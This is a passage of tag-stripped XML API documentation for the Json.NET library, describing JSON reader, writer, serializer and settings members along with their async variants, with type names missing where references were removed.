token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Specifies the state of the reader. A read method has not been called. The end of the file has been reached successfully. Reader is at a property. Reader is at the start of an object. Reader is in an object. Reader is at the start of an array. Reader is in an array. The method has been called. Reader has just read a value. Reader is at the start of a constructor. Reader is in a constructor. An error occurred that prevents the read operation from continuing. The end of the file has been reached successfully. Gets the current reader state. The current reader state. Gets or sets a value indicating whether the source should be closed when this reader is closed. true to close the source when this reader is closed; otherwise false. The default is true. Gets or sets a value indicating whether multiple pieces of JSON content can be read from a continuous stream without erroring. true to support reading multiple pieces of JSON content; otherwise false. The default is false. Gets the quotation mark character used to enclose the value of a string. Gets or sets how time zones are handled when reading JSON. Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. Gets or sets how custom date formatted strings are parsed when reading JSON. Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Gets the type of the current JSON token. Gets the text value of the current JSON token. Gets the .NET type for the current JSON token. Gets the depth of the current token in the JSON document. The depth of the current token in the JSON document. Gets the path of the current JSON token. Gets or sets the culture used when reading JSON. Defaults to . Initializes a new instance of the class. Reads the next JSON token from the source. true if the next token was read successfully; false if there are no more tokens to read. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a . A . This method will return null at the end of an array. Reads the next JSON token from the source as a []. A [] or null if the next JSON token is null. This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Skips the children of the current token. Sets the current token. The new token. Sets the current token and value. The new token. The value. Sets the current token and value. The new token. The value. A flag indicating whether the position index inside an array should be updated. Sets the state based on current token type. Releases unmanaged and - optionally - managed resources. true to release both managed and unmanaged resources; false to release only unmanaged resources. Changes the reader's state to . If is set to true, the source is also closed. The exception thrown when an error occurs while reading JSON text. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The line number indicating where the error occurred. The line position indicating where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Instructs the to always serialize the member, and to require that the member has a value. The exception thrown when an error occurs during JSON serialization or deserialization. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The line number indicating where the error occurred. The line position indicating where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Serializes and deserializes objects into and from the JSON format. The enables you to control how objects are encoded into JSON. Occurs when the errors during serialization and deserialization. Gets or sets the used by the serializer when resolving references. Gets or sets the used by the serializer when resolving type names. Gets or sets the used by the serializer when resolving type names. Gets or sets the used by the serializer when writing trace messages. The trace writer. Gets or sets the equality comparer used by the serializer when comparing references. The equality comparer. Gets or sets how type name writing and reading is handled by the serializer. The default value is . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how object references are preserved by the serializer. The default value is . Gets or sets how reference loops (e.g. a class referencing itself) is handled. The default value is . Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. The default value is . Gets or sets how null values are handled during serialization and deserialization. The default value is . Gets or sets how default values are handled during serialization and deserialization. The default value is . Gets or sets how objects are created during deserialization. The default value is . The object creation handling. Gets or sets how constructors are used during deserialization. The default value is . The constructor handling. Gets or sets how metadata properties are used during deserialization. The default value is . The metadata properties handling. Gets a collection that will be used during serialization. Collection that will be used during serialization. Gets or sets the contract resolver used by the serializer when serializing .NET objects to JSON and vice versa. Gets or sets the used by the serializer when invoking serialization callback methods. The context. Indicates how JSON text output is formatted. The default value is . Gets or sets how dates are written to JSON text. The default value is . Gets or sets how time zones are handled during serialization and deserialization. The default value is . Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. The default value is . Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. The default value is . Gets or sets how special floating point numbers, e.g. , and , are written as JSON text. The default value is . Gets or sets how strings are escaped when writing JSON text. The default value is . Gets or sets how and values are formatted when writing JSON text, and the expected date format when reading JSON text. The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". Gets or sets the culture used when reading JSON. The default value is . Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. The default value is false. true if there will be a check for additional JSON content after deserializing an object; otherwise, false. Initializes a new instance of the class. Creates a new instance. The will not use default settings from . A new instance. The will not use default settings from . Creates a new instance using the specified . The will not use default settings from . The settings to be applied to the . A new instance using the specified . The will not use default settings from . Creates a new instance. The will use default settings from . A new instance. The will use default settings from . Creates a new instance using the specified . The will use default settings from as well as the specified . The settings to be applied to the . A new instance using the specified . The will use default settings from as well as the specified . Populates the JSON values onto the target object. The that contains the JSON structure to read values from. The target object to populate values onto. Populates the JSON values onto the target object. The that contains the JSON structure to read values from. The target object to populate values onto. Deserializes the JSON structure contained by the specified . The that contains the JSON structure to deserialize. The being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The of object being deserialized. The instance of being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The type of the object to deserialize. The instance of being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The of object being deserialized. The instance of being deserialized. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. The type of the value being serialized. This parameter is used when is Auto to write out the type name if the type of the value does not match. Specifying the type is optional. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. Specifies the settings on a object. Gets or sets how reference loops (e.g. a class referencing itself) are handled. The default value is . Reference loop handling. Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. The default value is . Missing member handling. Gets or sets how objects are created during deserialization. The default value is . The object creation handling. Gets or sets how null values are handled during serialization and deserialization. The default value is . Null value handling. Gets or sets how default values are handled during serialization and deserialization. The default value is . The default value handling. Gets or sets a collection that will be used during serialization. The converters. Gets or sets how object references are preserved by the serializer. The default value is . The preserve references handling. Gets or sets how type name writing and reading is handled by the serializer. The default value is . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . The type name handling. Gets or sets how metadata properties are used during deserialization. The default value is . The metadata properties handling. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how constructors are used during deserialization. The default value is . The constructor handling. Gets or sets the contract resolver used by the serializer when serializing .NET objects to JSON and vice versa. The contract resolver. Gets or sets the equality comparer used by the serializer when comparing references. The equality comparer. Gets or sets the used by the serializer when resolving references. The reference resolver. Gets or sets a function that creates the used by the serializer when resolving references. A function that creates the used by the serializer when resolving references. Gets or sets the used by the serializer when writing trace messages. The trace writer. Gets or sets the used by the serializer when resolving type names. The binder. Gets or sets the used by the serializer when resolving type names. The binder. Gets or sets the error handler called during serialization and deserialization. The error handler called during serialization and deserialization. Gets or sets the used by the serializer when invoking serialization callback methods. The context. Gets or sets how and values are formatted when writing JSON text, and the expected date format when reading JSON text. The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Indicates how JSON text output is formatted. The default value is . Gets or sets how dates are written to JSON text. The default value is . Gets or sets how time zones are handled during serialization and deserialization. The default value is . Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. The default value is . Gets or sets how special floating point numbers, e.g. , and , are written as JSON. The default value is . Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. The default value is . Gets or sets how strings are escaped when writing JSON text. The default value is . Gets or sets the culture used when reading JSON. The default value is . Gets a value indicating whether there will be a check for additional content after deserializing an object. The default value is false. true if there will be a check for additional content after deserializing an object; otherwise, false. Initializes a new instance of the class. Represents a reader that provides fast, non-cached, forward-only access to JSON text data. Asynchronously reads the next JSON token from the source. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns true if the next token was read successfully; false if there are no more tokens to read. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a []. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the []. This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Initializes a new instance of the class with the specified . The containing the JSON data to read. Gets or sets the reader's property name table. Gets or sets the reader's character buffer pool. Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a . A . This method will return null at the end of an array. Reads the next JSON token from the underlying as a []. A [] or null if the next JSON token is null. This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Changes the reader's state to . If is set to true, the underlying is also closed. Gets a value indicating whether the class can return line information. true if and can be provided; otherwise, false. Gets the current line number. The current line number or 0 if no line information is available (for example, returns false). Gets the current line position. The current line position or 0 if no line information is available (for example, returns false). Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the JSON value delimiter. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the specified end token. The end token to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously closes this writer. If is set to true, the destination is also closed. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of the current JSON object or array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes indent characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes an indent space. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes raw JSON without changing the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a null value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the beginning of a JSON array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the beginning of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the start of a constructor with the given name. The name of the constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes an undefined value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the given white space. The string of white space characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a [] value. The [] value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a comment /*...*/ containing the specified text. Text to place inside the comment. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of an array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of a constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Gets or sets the writer's character array pool. Gets or sets how many s to write for each level in the hierarchy when is set to . Gets or sets which character to use to quote attribute values. Gets or sets which character to use for indenting when is set to . Gets or sets a value indicating whether object names will be surrounded with quotes. Initializes a new instance of the class using the specified . The to write to. Flushes whatever is in the buffer to the underlying and also flushes the underlying . Closes this writer. If is set to true, the underlying is also closed. If is set to true, the JSON is auto-completed. Writes the beginning of a JSON object. Writes the beginning of a JSON array. Writes the start of a constructor with the given name. The name of the constructor. Writes the specified end token. The end token to write. Writes the property name of a name/value pair on a JSON object. The name of the property. Writes the property name of a name/value pair on a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. Writes indent characters. Writes the JSON value delimiter. Writes an indent space. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes raw JSON. The raw JSON to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the given white space. The string of white space characters. Specifies the type of JSON token. This is returned by the if a read method has not been called. An object start token. An array start token. A constructor start token. An object property name. A comment. Raw JSON. An integer. A float. A string. A boolean. A null token. An undefined token. An object end token. An array end token. A constructor end token. A Date. Byte data. Represents a reader that provides validation. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Sets an event handler for receiving schema validation errors. Gets the text value of the current JSON token. Gets the depth of the current token in the JSON document. The depth of the current token in the JSON document. Gets the path of the current JSON token. Gets the quotation mark character used to enclose the value of a string. Gets the type of the current JSON token. Gets the .NET type for the current JSON token. Initializes a new instance of the class that validates the content returned from the given . The to read from while validating. Gets or sets the schema. The schema. Gets the used to construct this . The specified in the constructor. Changes the reader's state to . If is set to true, the underlying is also closed. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a []. A [] or null if the next JSON token is null. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a . A . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Asynchronously closes this writer. If is set to true, the destination is also closed. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the specified end token. The end token to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes indent characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the JSON value delimiter. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes an indent space. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes raw JSON without changing the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of the current JSON object or array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of an array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of a constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a null value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute 